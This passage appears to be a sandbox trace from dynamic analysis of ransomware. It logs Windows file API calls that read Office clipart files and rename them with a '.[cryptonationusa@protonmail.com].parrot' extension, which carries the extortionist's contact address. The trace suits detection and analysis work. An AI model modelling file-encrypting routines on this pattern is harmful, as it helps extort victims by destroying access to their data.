office\\clipart\\pub60cor\\j0105332.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.910] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc6c, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.910] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.911] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.928] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.929] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb54, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb54, lpOverlapped=0x0) returned 1 [0132.929] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.929] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc6c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.929] CloseHandle (hObject=0x288) returned 1 [0132.929] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.932] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2e58, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.932] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.932] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.935] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.935] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d40, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2d40, lpOverlapped=0x0) returned 1 [0132.939] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.940] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2e58, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.940] CloseHandle (hObject=0x288) returned 1 [0132.940] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.943] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x43bc, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.943] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.943] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0132.969] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.969] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x42a4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x42a4, lpOverlapped=0x0) returned 1 [0132.994] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.994] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x43bc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0132.994] CloseHandle (hObject=0x288) returned 1 [0132.994] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0132.999] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x23b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0132.999] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0132.999] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.000] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.000] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x229c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x229c, lpOverlapped=0x0) returned 1 [0133.001] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.001] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x23b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.001] CloseHandle (hObject=0x288) returned 1 [0133.002] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.006] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3174, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.006] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.006] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.008] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.009] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x305c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x305c, lpOverlapped=0x0) returned 1 [0133.010] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.010] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3174, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.010] CloseHandle (hObject=0x288) returned 1 [0133.010] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.013] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x147c, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.013] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.013] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.051] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.051] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1364, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1364, lpOverlapped=0x0) returned 1 [0133.056] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.056] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x147c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.056] CloseHandle (hObject=0x288) returned 1 [0133.056] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.060] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x147c, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.060] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.060] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.075] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.075] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1364, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1364, lpOverlapped=0x0) returned 1 [0133.081] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.081] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x147c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.081] CloseHandle (hObject=0x288) returned 1 [0133.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.085] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1328, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.085] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.085] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.088] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.089] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1210, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1210, lpOverlapped=0x0) returned 1 [0133.110] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.110] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1328, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.110] CloseHandle (hObject=0x288) returned 1 [0133.111] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.114] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1810, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.114] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.114] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.130] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.130] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16f8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x16f8, lpOverlapped=0x0) returned 1 [0133.133] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.134] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1810, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.134] CloseHandle (hObject=0x288) returned 1 [0133.134] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.137] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1874, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.137] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.138] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.139] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.139] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x175c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x175c, lpOverlapped=0x0) returned 1 [0133.145] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.145] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1874, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.145] CloseHandle (hObject=0x288) returned 1 [0133.145] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.149] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2154, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.149] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.149] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.150] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.151] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x203c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x203c, lpOverlapped=0x0) returned 1 [0133.151] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.152] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2154, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.152] CloseHandle (hObject=0x288) returned 1 [0133.152] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.155] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1468, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.155] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.155] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.170] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.170] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1350, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1350, lpOverlapped=0x0) returned 1 [0133.173] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.173] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1468, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.173] CloseHandle (hObject=0x288) returned 1 [0133.173] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105390.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105390.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.176] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2c1c, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.176] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.177] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.186] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.187] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b04, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2b04, lpOverlapped=0x0) returned 1 [0133.188] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.188] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2c1c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.188] CloseHandle (hObject=0x288) returned 1 [0133.189] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.192] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe18, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.192] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.193] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.196] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.196] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd00, lpOverlapped=0x0) returned 1 [0133.196] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.196] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.196] CloseHandle (hObject=0x288) returned 1 [0133.197] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105398.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105398.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.200] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x50f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.200] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.200] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, 